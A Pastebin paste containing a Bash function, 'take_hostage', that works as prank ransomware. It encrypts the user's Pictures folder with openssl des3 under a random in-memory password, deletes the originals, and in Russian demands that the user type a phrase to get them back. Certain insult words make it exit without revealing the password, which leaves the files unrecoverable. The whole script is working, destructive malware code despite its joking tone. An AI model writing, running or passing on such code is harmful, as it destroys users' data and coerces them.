Advertisement
Guest User

take_hostage

a guest
Mar 30th, 2014
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.89 KB | None | 0 0
  1. function take_hostage {
  2.    
  3.     what_to_say="$1"
  4.     if [ -z "$what_to_say" ]; then what_to_say='пожалуйста'; fi
  5.     hostage="$2"
  6.     if [ -z "$hostage" ]; then hostage="$HOME/Pictures"; fi
  7.     safe_place="$3"
  8.     if [ -z "$safe_place" ]; then safe_place='your_pictures.encrypted'; fi
  9.    
  10.     himitsu="$RANDOM$RANDOM$RANDOM"
  11.     temp_folder=`mktemp -d` || exit 1
  12.     safe_place="$temp_folder/$safe_place"
  13.    
  14.     # move and encrypt
  15.     cd "$hostage" || exit 1
  16.     tar -c . | openssl des3 -salt -pass "pass:$himitsu" -out "$safe_place"
  17.     if [[ "${PIPESTATUS[0]}" -ne 0 || "${PIPESTATUS[1]}" -ne 0 ]]; then exit 1; fi
  18.     find -delete
  19.    
  20.     # talk
  21.     echo -e '----------\n'
  22.     echo "All your $hostage are belong to us!"
  23.     sleep 1
  24.     echo "Теперь скажи: \"$what_to_say\"!"
  25.     read -p '> ' said
  26.     while [ "$said" != "$what_to_say" ]; do
  27.         # wordfilter
  28.         if [[ "$said" =~ неняша|фиг ]]; then
  29.             echo "Они здесь: $safe_place. Дальше, надеюсь, сам разберёшься."
  30.             sleep 3
  31.             echo -n 'Пароль... '; sleep 1; echo 'Нет, не припомню.'
  32.             exit 0
  33.         fi
  34.         # another attempt
  35.         if [[ "$what_to_say" =~ "$said" ]]; then
  36.             echo 'От начала и до конца!'
  37.         else
  38.             if [[ "$said" =~ "$what_to_say" ]]; then
  39.                 echo 'Без отсебятины!'
  40.             else
  41.                 echo -n 'Хм-м. '; sleep 1; echo 'Попробуй-ка ещё раз.'
  42.             fi
  43.         fi
  44.         read -p '> ' said
  45.     done
  46.    
  47.     # decrypt and return
  48.     openssl des3 -d -salt -pass "pass:$himitsu" -in "$safe_place" | tar -x
  49.     if [[ "${PIPESTATUS[0]}" -ne 0 || "${PIPESTATUS[1]}" -ne 0 ]]; then
  50.         echo -e '----------\n'
  51.         echo 'Ох, кажется, что-то пошло не так. Извини за файлы.'
  52.         sleep 3
  53.         echo "Ах, да! Если что, они здесь: $safe_place"
  54.         echo "Зашифрованы des3, с солью."
  55.         echo "Пароль: $himitsu"
  56.         exit 1
  57.     fi
  58.     rm -rf "$temp_folder"
  59. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement